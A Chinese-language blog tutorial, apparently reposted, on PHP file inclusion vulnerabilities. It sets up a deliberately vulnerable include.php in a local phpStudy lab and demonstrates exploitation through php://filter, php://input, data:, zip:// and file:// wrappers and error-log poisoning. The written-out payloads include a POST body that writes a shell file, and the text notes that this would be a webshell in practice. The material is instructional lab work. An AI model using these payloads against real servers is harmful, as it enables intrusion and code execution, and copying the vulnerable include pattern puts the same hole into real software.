PHP文件包含漏洞详解

admin 2024年5月21日20:52:55评论6 views字数 2976阅读9分55秒阅读模式

 

漏洞背景

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做防范就造成了文件包含漏洞。

漏洞简介

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种文件调用的过程一般被称为文件包含,例如:include“config.php”。攻击者能够通过操作应用程序的文件包含功能,实现对服务器上任意文件的读取或执行。

漏洞原理

文件包含漏洞产生的原因是在通过引入文件时,包含的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。

常用函数

  • include()
    当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
  • include_once()
    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
  • require()
    require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
  • require_once()
    功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含分类

文件包含分为本地文件包含和远程文件包含两种。

本地文件包含:当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。大多数文件包含都是本地文件包含。远程文件包含:当被包含的文件是第三方服务器中的文件时,就形成了远程文件包含漏洞。利用条件相对苛刻,需要php.ini配置文件中的allow_url_fopen参数和allow_url_include参数同时为ONallow_url_fopen默认为ONallow_url_includephp5.2之后默认为OFF

PHP文件包含漏洞详解

环境安装

本次实验环境是phpstudy2016和php5.4.45+nts+apache。工具下载链接 。
https://pan.baidu.com/s/1g2LeaVl6eZW8BYl1ypdBqQ?pwd=5ucb

安装

双击安装程序,选择安装路径(路径中不能包含中文),然后无脑点下一步,等待安装完成。

PHP文件包含漏洞详解运行

安装完成后会自动运行并弹出Apache与MySQL服务的弹出,直接打钩点允许访问就好了。

PHP文件包含漏洞详解

确保你的apache和mysql都是绿色的。

PHP文件包含漏洞详解

在浏览器中直接访问http://127.0.0.1/,出现以下页面则说明环境已OK。

PHP文件包含漏洞详解

在phpstudy安装目录中找到www目录,进入目录并添加以下代码文件,include.php。
<?php    if(isset($_GET['file'])){        include $_GET['file'];    }else{        echo "请输入文件名";}?>
在浏览器中直接访问以下URL,正常输出“请输入文件名”则程序运行正常。
http://127.0.0.1/include.php

PHP文件包含漏洞详解

添加参数测试是否能正常包含文件,如包含当前目录下的phpinfo.php文件。
http://127.0.0.1/include.php?file=./phpinfo.php

PHP文件包含漏洞详解

漏洞利用

伪协议1:php://filter    #读文件

php://filter/read=convert.base64-encode/resource=文件路径条件:只需要开启allow_url_fopen,对allow_url_include不做要求,你可以为off,也可以为on特性:该协议读取文件内容采用Base64加密,要显示原来内容需要对读取内容进行Base64解密

利用

在WWW目录下创建test.txt,随意输入内容如“cm666”。

PHP文件包含漏洞详解

通过php://filter协议读取该文件内容。

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=./test.txt

PHP文件包含漏洞详解

将已读取到的Base64密文“Y202NjY=”拿去解密即可得到明文“cm666”。

PHP文件包含漏洞详解

伪协议2:php://input    #写文件
条件:allow_url_include=on,对allow_url_fopen不做要求特性:理论来说可以执行任何的php代码.需要GET提交,在BP转换成 [POST提交]

利用

访问以下url时抓包。

http://127.0.0.1/include.php?file=php://input

PHP文件包含漏洞详解

将get请求修改为post请求,并在请求体中添加以下代码。

<?php  file_put_contents('shell1.php','<?php phpinfo();?>');?>

PHP文件包含漏洞详解

查看www目录,成功写入shell1.php文件,实战可将内容改为webshell。

PHP文件包含漏洞详解

伪协议3:data:text/plain,<?php 执行语句 ?>        #执行php代码
data:text/plain;base64,编码后的php代码
条件:allow_url_fopen参数与allow_url_include都需开启特性:直接执行php代码

利用

浏览器直接访问以下路径,执行phpinfo()代码。

http://127.0.0.1/include.php?file=data:text/plain,<?php phpinfo(); ?>

PHP文件包含漏洞详解

将“<?php phpinfo();”加密成base64后添加在参数中。

http://127.0.0.1/include.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

PHP文件包含漏洞详解

伪协议4:zip://     

zip://C:phpStudyWWW1.zip%231.txt  php代码内容写进1.txt文件,再压缩为1.zip条件:使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23

利用

php代码内容写进1.txt文件,再压缩为1.zip。

PHP文件包含漏洞详解

浏览器访问以下路径。
http://127.0.0.1/include.php?file=zip://C:phpStudyWWW1.zip%231.txt

PHP文件包含漏洞详解

伪协议5:file://    #读文件

条件:知道文件绝对路径

利用

知道文件绝对路径,直接读取文件内容。

http://127.0.0.1/include.php?file=file://C:phpStudyWWWtest.txt

PHP文件包含漏洞详解

把php代码写进log日志里。

http://127.0.0.1/include.php?file=<?php phpinfo();?>

PHP文件包含漏洞详解

通过包含log日志执行phpinfo()代码。

http://127.0.0.1/include.php?file=C:/phpStudy/Apache/logs/error.log

PHP文件包含漏洞详解

至此结束,关于文件包含还有许多协议可以使用,就不一一讨论,本文针对初学者兴许有那么一点点帮助,多尝试多练,成为一个黑壳很简单。

原文始发于微信公众号(一己之见安全团队):【保姆级教学】PHP文件包含漏洞详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日20:52:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP文件包含漏洞详解https://cn-sec.com/archives/2762472.html

发表评论

匿名网友 填写信息